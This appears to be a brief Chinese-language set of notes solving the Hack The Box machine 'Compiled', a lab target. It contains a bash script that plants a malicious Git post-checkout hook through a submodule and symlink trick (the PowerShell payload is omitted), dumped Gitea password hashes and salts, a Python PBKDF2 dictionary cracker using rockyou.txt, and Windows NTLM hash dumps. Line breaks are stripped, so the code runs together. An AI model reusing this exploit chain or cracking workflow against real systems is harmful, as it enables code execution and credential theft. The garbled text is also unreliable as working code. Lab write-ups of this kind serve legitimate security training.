HTB-Compiled笔记

nmap -T4 -v -A 10.10.11.26

#!/bin/bash# 克隆 Git 仓库git clone http://10.10.11.26:3000/qwer/hook.gitcd hook# 创建钩子目录并添加 post-checkout 钩子mkdir -p y/hookscat > y/hooks/post-checkout <<EOF#!/bin/bash# 此处省略了 PowerShell 脚本的内容# 赋予钩子执行权限chmod +x y/hooks/post-checkout# 将钩子脚本添加到 Git，提交并推送git add y/hooks/post-checkoutgit commit -m "post-checkout"git remote add origin http://gitea.compiled.htb:3000/qwer/hook.gitgit push -u origin main# 返回上级目录cd ..# 克隆另一个仓库并添加子模块git clone http://10.10.11.26:3000/qwer/exploit.gitcd exploitgit submodule add --name x/y http://gitea.compiled.htb:3000/qwer/hook.git A/modules/xgit commit -m "add-submodule"# 创建符号链接并提交printf ".git" > dotgit.txtgit hash-object -w --stdin < dotgit.txt > dot-git.hashprintf "120000 %s 0tan" "$(cat dot-git.hash)" > index.infogit update-index --index-info < index.infogit commit -m "add-symlink"git remote add origin http://gitea.compiled.htb:3000/qwer/exploit.gitgit push -u origin main# 返回上级目录cd ..

1|administrator|administrator||[email protected]|0|enabled|1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d|pbkdf2$50000$50|0|0|0||0|||6e1a6f3adbe7eab92978627431fd2984|a45c43d36dce3076158b19c2c696ef7b|en-US||1716401383|1716669640|1716669640|0|-1|1|1|0|0|0|1|0||[email protected]|0|0|0|0|0|0|0|0|0||arc-green|02|richard|richard||[email protected]|0|enabled|4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e|pbkdf2$50000$50|0|0|0||0|||2be54ff86f147c6cb9b55c8061d82d03|d7cf2c96277dd16d95ed5c33bb524b62|en-US||1716401466|1720089561|1720089548|0|-1|1|0|0|0|0|1|0||[email protected]|0|0|0|0|2|0|0|0|0||arc-green|04|emily|emily||[email protected]|0|enabled|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|pbkdf2$50000$50|1|0|0||0|||0056552f6f2df0015762a4419b0748de|227d873cca89103cd83a976bdac52486|||1716565398|1716567763|0|0|-1|1|0|0|0|0|1|0||[email protected]|0|0|0|0|0|0|0|2|0||arc-green|06|temp|temp||[email protected]|0|enabled|716e816c94cd603e6290e3ae6ecd275093c8a690a6668af1d987609df488a353f579bbaf25cec44ab1ca6483a8fff6fc8d71|pbkdf2$50000$50|0|0|0||0|||3da88239bd34cf2d6a4d43be87140843|ddd92ee4843aa73505ac9ed103f70c25|en-US||1722146269|1722146337|1722146269|0|-1|1|0|0|0|0|1|0||[email protected]|0|0|0|0|2|0|0|0|0||arc-green|0

import hashlibimport binasciidef pbkdf2_hash(密码, 盐, 迭代次数=50000, 密钥长度=50):    """ 使用PBKDF2算法对密码进行哈希 """    哈希值 = hashlib.pbkdf2_hmac(        'sha256',  # 哈希算法        密码.encode('utf-8'),  # 密码        盐,  # 盐值        迭代次数,  # 迭代次数        dklen=密钥长度  # 密钥长度    )    return 哈希值def 查找匹配密码(字典文件, 目标哈希, 盐, 迭代次数=50000, 密钥长度=50):    """ 从字典文件中查找匹配的密码 """    目标哈希字节 = binascii.unhexlify(目标哈希)    with open(字典文件, 'r', encoding='utf-8') as 文件:        for 行 in 文件:            密码 = 行.strip()            哈希值 = pbkdf2_hash(密码, 盐, 迭代次数, 密钥长度)            # 检查哈希是否正确            if 哈希值 == 目标哈希字节:                print(f"找到密码：{密码}")                return 密码    print("未找到密码。")    return None# 参数盐 = binascii.unhexlify('227d873cca89103cd83a976bdac52486')  # 盐值来源于gitea.db目标哈希 = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16'  # 哈希来源于gitea.db# 字典路径字典文件 = '/home/kali/rockyou.txt'查找匹配密码(字典文件, 目标哈希, 盐)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:f75c95bc9312632edec46b607938061e:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Emily:1001:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Richard:1002:aad3b435b51404eeaad3b435b51404ee:f21635b4c33e9ed3ee47dd5b31ff0f92:::WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:ac8352a8680463c78247b75a023999cc:::